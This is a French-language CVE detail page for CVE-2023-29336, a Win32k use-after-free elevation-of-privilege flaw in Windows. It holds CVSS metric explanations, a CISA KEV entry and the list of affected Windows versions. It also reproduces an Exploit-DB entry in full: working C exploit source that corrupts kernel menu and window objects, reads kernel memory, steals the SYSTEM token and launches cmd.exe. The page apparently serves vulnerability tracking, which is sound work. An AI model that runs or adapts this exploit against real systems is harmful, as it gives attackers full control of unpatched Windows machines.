CVE-2023-29336 : Détail

CVE-2023-29336

7.8
/
Haute
Memory Corruption
74.58%V4
Local
2023-05-09
17h03 +00:00
2025-05-27
15h56 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Win32k Elevation of Privilege Vulnerability

Win32k Elevation of Privilege Vulnerability

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Exploit Code Maturity

This metric measures the likelihood of the vulnerability being attacked, and is typically based on the current state of exploit techniques, exploit code availability, or active, “in-the-wild” exploitation.

Unproven

No exploit code is available, or an exploit is theoretical.

Remediation Level

The Remediation Level of a vulnerability is an important factor for prioritization.

Official fix

A complete vendor solution is available. Either the vendor has issued an official patch, or an upgrade is available.

Report Confidence

This metric measures the degree of confidence in the existence of the vulnerability and the credibility of the known technical details.

Confirmed

Detailed reports exist, or functional reproduction is possible (functional exploits may provide this). Source code is available to independently verify the assertions of the research, or the author or vendor of the affected code has confirmed the presence of the vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 secure@microsoft.com

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Microsoft Win32K Privilege Escalation Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2023-05-08 22h00 +00:00

Action attendue : 2023-05-29 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 52301

Date de publication : 2025-05-24 22h00 +00:00
Auteur : Milad karimi
EDB Vérifié : No

# Exploit Title: Microsoft Windows Server 2016 - Win32k Elevation of Privilege # Date: 2025-05-19 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Country: United Kingdom # CVE : CVE-2023-29336 #include <windows.h> #include <stdio.h> #include <tchar.h> #define IDM_MYMENU 101 #define IDM_EXIT 102 #define IDM_DISABLE 0xf120 #define IDM_ENABLE 104 #define EPROCESS_UNIQUE_PROCESS_ID_OFFSET 0x440 #define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x448 #define EPROCESS_TOKEN_OFFSET 0x4b8 typedef DWORD64(NTAPI* NtUserEnableMenuItem)(HMENU hMenu, UINT uIDEnableItem, UINT uEnable); typedef DWORD64(NTAPI* NtUserSetClassLongPtr)(HWND a1, unsigned int a2, unsigned __int64 a3, unsigned int a4); typedef DWORD64(NTAPI* NtUserCreateAcceleratorTable)(void* Src, int a2); typedef DWORD64(NTAPI* fnNtUserConsoleControl)(int nConsoleCommand, PVOID, int nConsoleInformationLength); NtUserSetClassLongPtr g_NtUserSetClassLongPtr = NULL; NtUserEnableMenuItem g_NtUserEnableMenuItem = NULL; NtUserCreateAcceleratorTable g_NtUserCreateAcceleratorTable = NULL; fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr; LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); int syytem(); typedef struct _SHELLCODE { DWORD reserved; DWORD pid; DWORD off_THREADINFO_ppi; DWORD off_EPROCESS_ActiveLink; DWORD off_EPROCESS_Token; BOOL bExploited; BYTE pfnWindProc[]; } SHELLCODE, * PSHELLCODE; struct tagMENU { ULONG64 field_0; ULONG64 field_8; ULONG64 field_10; ULONG64 field_18; ULONG64 field_20; PVOID obj28; DWORD field_30; DWORD flag1; DWORD flag2; DWORD cxMenu; DWORD cyMenu; ULONG64 field_48; PVOID rgItems; ULONG64 field_58; // + 0x58 ULONG64 field_60; ULONG64 field_68; ULONG64 field_70; ULONG64 field_78; ULONG64 field_80; ULONG64 field_88; ULONG64 field_90; PVOID ref; // + 0x98 }; struct MyData { BYTE name[0x96]; }; tagMENU* g_pFakeMenu = 0; static PSHELLCODE pvShellCode = NULL; HMENU hSystemMenu; HMENU hMenu; HMENU hSubMenu; HMENU hAddedSubMenu; HMENU hMenuB; PVOID MENU_add = 0; DWORD flag = 0; UINT iWindowCount = 0x100; HWND HWND_list[0x300]; HWND HWND_list1[0x20]; HMENU HMENUL_list[0x300]; int Hwnd_num = 0; int Hwnd_num1 = 0; ULONGLONG HWND_add = 0; ULONGLONG GS_off = 0; WORD max = 0; static PULONGLONG ptagWNDFake = NULL; static PULONGLONG ptagWNDFake1 = NULL; static PULONGLONG ptagWNDFake2 = NULL; static PULONGLONG GS_hanlde = NULL; static PULONGLONG HWND_class = NULL; struct ThreadParams { int threadId; int numLoops; }; static unsigned long long GetGsValue(unsigned long long gsValue) { return gsValue; } PVOID GetMenuHandle(HMENU menu_D) { int conut = 0; PVOID HANDLE = 0; PBYTE add = 0; WORD temp = 0; DWORD offset = 0xbd688; HMODULE hModule = LoadLibraryA("USER32.DLL"); PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu"); ULONGLONG par1 = 0; DWORD par2 = 0; memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08); memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02); add = (PBYTE)(par1 + 0x18 * (WORD)menu_D); if (add) { HANDLE = *(PVOID*)add; } else { HANDLE = 0; } HANDLE= (PVOID*)((ULONGLONG)HANDLE - GS_off+0x20); return *(PVOID*)HANDLE; } PVOID xxGetHMValidateHandle(HMENU menu_D, DWORD type_hanlde) { int conut = 0; PVOID HANDLE = 0; PBYTE add = 0; WORD temp = 0; DWORD offset = 0xbd688; HMODULE hModule = LoadLibraryA("USER32.DLL"); PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu"); ULONGLONG par1 = 0; DWORD par2 = 0; memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08); memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02); temp = (ULONGLONG)menu_D >> 16; add = (PBYTE)(par1 + 0x18 * (WORD)menu_D); if (add) { HANDLE = *(PVOID*)add; } else { HANDLE = 0; } HANDLE = (PVOID*)((ULONGLONG)HANDLE - GS_off + 0x20); return *(PVOID*)HANDLE; } static VOID xxReallocPopupMenu(VOID) { for (INT i = 0; i < 0x8; i++) { WNDCLASSEXW Class = { 0 }; WCHAR szTemp[0x100] = { 0 }; HWND hwnd = NULL; wsprintfW(szTemp, L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@A%d", i); Class.cbSize = sizeof(WNDCLASSEXA); Class.lpfnWndProc = DefWindowProcW; Class.cbWndExtra = 0; Class.hInstance = GetModuleHandleA(NULL); Class.lpszMenuName = NULL; Class.lpszClassName = szTemp; if (!RegisterClassExW(&Class)) { continue; } } } VOID createclass(VOID) { WCHAR szTemp[0x100] = { 0 }; for (INT i = 9; i < 29; i++) { WNDCLASSEXW Class = { 0 }; HWND hwnd = NULL; wsprintfW(szTemp, L"A@A%d", i); Class.cbSize = sizeof(WNDCLASSEXA); Class.lpfnWndProc = DefWindowProcW; Class.cbWndExtra = 0x20; Class.hInstance = GetModuleHandleA(NULL); Class.lpszMenuName = NULL; Class.lpszClassName = szTemp; Class.cbClsExtra = 0x1a0; if (!RegisterClassExW(&Class)) { continue; } } for (INT i = 9; i < 29; i++) { wsprintfW(szTemp, L"A@A%d", i); HWND_list1[i]=CreateWindowEx(NULL, szTemp, NULL, WS_VISIBLE, 0, 0, 0, 0, NULL,NULL, NULL, NULL); } } ULONG64 Read64(ULONG64 address) { MENUBARINFO mbi = { 0 }; mbi.cbSize = sizeof(MENUBARINFO); g_pFakeMenu->rgItems = PVOID(address - 0x48); GetMenuBarInfo(HWND_list[max+1], OBJID_MENU, 1, &mbi); return (unsigned int)mbi.rcBar.left + ((ULONGLONG)mbi.rcBar.top << 32); } void exploit() { for (int i = 0; i < 0x20; i++) { ULONG64 pmenu = SetClassLongPtr(HWND_list1[i], 0x270, (LONG_PTR)g_pFakeMenu); if (pmenu != 0) { Hwnd_num = i; MENUBARINFO mbi = { 0 }; mbi.cbSize = sizeof(MENUBARINFO); } } // Token stealing ULONG64 p = Read64(HWND_add +0x250+ 0x10); // USER_THREADINFO p = Read64(p); //THREADINFO p = Read64(p + 0x220); // (PROCESSINFO) ULONG64 eprocess = p; printf("Current EPROCESS = %llx\n", eprocess); p = Read64(p + 0x2f0); do { p = Read64(p + 0x08); ULONG64 pid = Read64(p - 0x08); if (pid == 4) { ULONG64 pSystemToken = Read64(p + 0x68); printf("pSys/tem Token = %llx \n", pSystemToken); HWND_class = (PULONGLONG)((PBYTE)0x303000); HWND_class[8] = eprocess + 0x290; HWND_class[12] = 0x100; HWND_class[20] = 0x303010; ULONG64 ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 + 0x98 - 0xa0, (LONG_PTR)HWND_class); SetClassLongPtr(HWND_list[max + 1], 0x28, pSystemToken); ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 + 0x98 - 0xa0, (LONG_PTR)ret_add); break; } } while (p != eprocess); syytem(); } void buildmem() { WORD max_handle = 0; pvShellCode = (PSHELLCODE)VirtualAlloc((PVOID)0x300000, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pvShellCode == NULL) { return; } ZeroMemory(pvShellCode, 0x10000); ptagWNDFake = (PULONGLONG)((PBYTE)0x304140); ptagWNDFake[0] = (ULONGLONG)0x304140; ptagWNDFake[2] = (ULONGLONG)0x304140 + 0x10; ptagWNDFake[6] = (ULONGLONG)0x304140; ptagWNDFake[8] = 0x305300; ptagWNDFake[11] = (ULONGLONG)MENU_add; ptagWNDFake[68] = (ULONGLONG)0x304140 + 0x230; ptagWNDFake[69] = (ULONGLONG)0x304140 + 0x28; ptagWNDFake[70] = (ULONGLONG)0x304140 + 0x30; ptagWNDFake[71] = (ULONGLONG)0x000004; ptagWNDFake1 = (PULONGLONG)((PBYTE)0x305300); ptagWNDFake1[1] = (ULONGLONG)0x11; ptagWNDFake1[2] = (ULONGLONG)0x305320; ptagWNDFake1[6] = (ULONGLONG)0x1000000000020000; ptagWNDFake1[8] = (ULONGLONG)0x00000000029d0000; ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120; ptagWNDFake1[14] = (ULONGLONG)0x306500; ptagWNDFake1[16] = (ULONGLONG)305400; ptagWNDFake2 = (PULONGLONG)((PBYTE)0x306500); ptagWNDFake1[11] = (ULONGLONG)0x306600; WNDCLASSEX WndClass = { 0 }; WndClass.cbSize = sizeof(WNDCLASSEX); WndClass.lpfnWndProc = DefWindowProc; WndClass.style = CS_VREDRAW | CS_HREDRAW; WndClass.cbWndExtra = 0xe0; WndClass.hInstance = NULL; WndClass.lpszMenuName = NULL; WndClass.lpszClassName = L"NormalClass"; RegisterClassEx(&WndClass); for (int i = 0; i < 0x200; i++) { HMENUL_list[i] = CreateMenu(); } for (int i = 0; i < 0x100; i++) { HWND_list[i] = CreateWindowEx(NULL, L"NormalClass", NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, HMENUL_list[i], NULL, NULL); } for (int i = 0; i < 0x100; i++) { SetWindowLongPtr(HWND_list[i], 0x58, (LONG_PTR)0x0002080000000000); SetWindowLongPtr(HWND_list[i], 0x80, (LONG_PTR)0x0000303030000000); } for (int i = 0x20; i < 0x60; i++) { if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01)- (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 - 1], 0x01)== 0x250) { if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 + 1], 0x01)-(ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01) == 0x250) { HWND_add = (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i*2], 0x01); max = i * 2; break; } } if (i == 0x5f) { HWND_add = 0; } } ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120; DestroyWindow(HWND_list[max]); createclass(); // Create a fake spmenu PVOID hHeap = (PVOID)0x302000; g_pFakeMenu = (tagMENU*)(PVOID)0x302000; g_pFakeMenu->ref = (PVOID)0x302300; *(PULONG64)g_pFakeMenu->ref = (ULONG64)g_pFakeMenu; // cItems = 1 g_pFakeMenu->obj28 = (PVOID)0x302200; *(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2C) = 1; // rgItems g_pFakeMenu->rgItems = (PVOID)0x304000; // cx / cy must > 0 g_pFakeMenu->flag1 = 1; g_pFakeMenu->flag2 = 1; g_pFakeMenu->cxMenu = 1; g_pFakeMenu->cyMenu = 1; // } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { ULONGLONG gsValue = 0; unsigned char shellcode[] = "\x65\x48\x8B\x04\x25\x30\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc3"; LPVOID executableMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (executableMemory == NULL) { return 1; } memcpy(executableMemory, shellcode, sizeof(shellcode)); gsValue = ((ULONGLONG(*)())executableMemory)(); gsValue = gsValue + 0x800; GS_hanlde = (PULONGLONG)(PBYTE)gsValue; GS_off = GS_hanlde[5]; char str[0xb8] = ""; memset(str, 0x41, 0xa8); g_NtUserEnableMenuItem = (NtUserEnableMenuItem)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserEnableMenuItem"); g_NtUserSetClassLongPtr = (NtUserSetClassLongPtr)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserSetClassLongPtr"); g_NtUserCreateAcceleratorTable = (NtUserCreateAcceleratorTable)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserCreateAcceleratorTable"); g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl"); WNDCLASS wc = { 0 }; wc.lpfnWndProc = WndProc; wc.hInstance = hInstance; wc.lpszClassName = TEXT("EnableMenuItem"); RegisterClass(&wc); HWND hWnd = CreateWindow( wc.lpszClassName, TEXT("EnableMenuItem"), WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 400, 300, NULL, NULL, hInstance, NULL ); if (!hWnd) return FALSE; /// hSystemMenu = GetSystemMenu(hWnd, FALSE); hSubMenu = CreatePopupMenu(); MENU_add = GetMenuHandle(hSubMenu); hMenuB = CreateMenu(); buildmem(); if (HWND_add == 0) { return 0; } AppendMenu(hSubMenu, MF_STRING, 0x2061, TEXT("0")); AppendMenu(hSubMenu, MF_STRING, 0xf060, TEXT("1")); DeleteMenu(hSystemMenu, SC_CLOSE, MF_BYCOMMAND); AppendMenu(hMenuB, MF_POPUP, (UINT_PTR)hSubMenu, L"Menu A"); AppendMenu(hSystemMenu, MF_POPUP, (UINT_PTR)hMenuB, L"Menu B"); ShowWindow(hWnd, nCmdShow); UpdateWindow(hWnd); flag = 1; g_NtUserEnableMenuItem(hSystemMenu, 0xf060, 0x01); exploit(); MSG msg = { 0 }; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return (int)msg.wParam; } LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_DESTROY: PostQuitMessage(0); return 0; case 0xae: switch (wParam) { case 0x1000: if (flag) { int itemCount = GetMenuItemCount(hMenuB); for (int i = itemCount - 1; i >= 0; i--) { RemoveMenu(hMenuB, i, MF_BYPOSITION); } DestroyMenu(hSubMenu); xxReallocPopupMenu(); } case 0x1001: if (flag) { int itemCount = GetMenuItemCount(hMenuB); for (int i = itemCount - 1; i >= 0; i--) { RemoveMenu(hMenuB, i, MF_BYPOSITION); } DestroyMenu(hSubMenu); xxReallocPopupMenu(); } return 0; } break; } return DefWindowProc(hWnd, message, wParam, lParam); } int syytem() { SECURITY_ATTRIBUTES sa; HANDLE hRead, hWrite; byte buf[40960] = { 0 }; STARTUPINFOW si; PROCESS_INFORMATION pi; DWORD bytesRead; RtlSecureZeroMemory(&si, sizeof(si)); RtlSecureZeroMemory(&pi, sizeof(pi)); RtlSecureZeroMemory(&sa, sizeof(sa)); int br = 0; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; if (!CreatePipe(&hRead, &hWrite, &sa, 0)) { return -3; } si.cb = sizeof(STARTUPINFO); GetStartupInfoW(&si); si.hStdError = hWrite; si.hStdOutput = hWrite; si.wShowWindow = SW_HIDE; si.lpDesktop = L"WinSta0\\Default"; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; wchar_t cmd[4096] = { L"cmd.exe" }; if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { CloseHandle(hWrite); CloseHandle(hRead); printf("[!] CreateProcessW Failed![%lx]\n", GetLastError()); return -2; } CloseHandle(hWrite); }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10_1507 >> Version To (excluding) 10.0.10240.19926

Microsoft>>Windows_10_1607 >> Version To (excluding) 10.0.14393.5921

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Références

Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.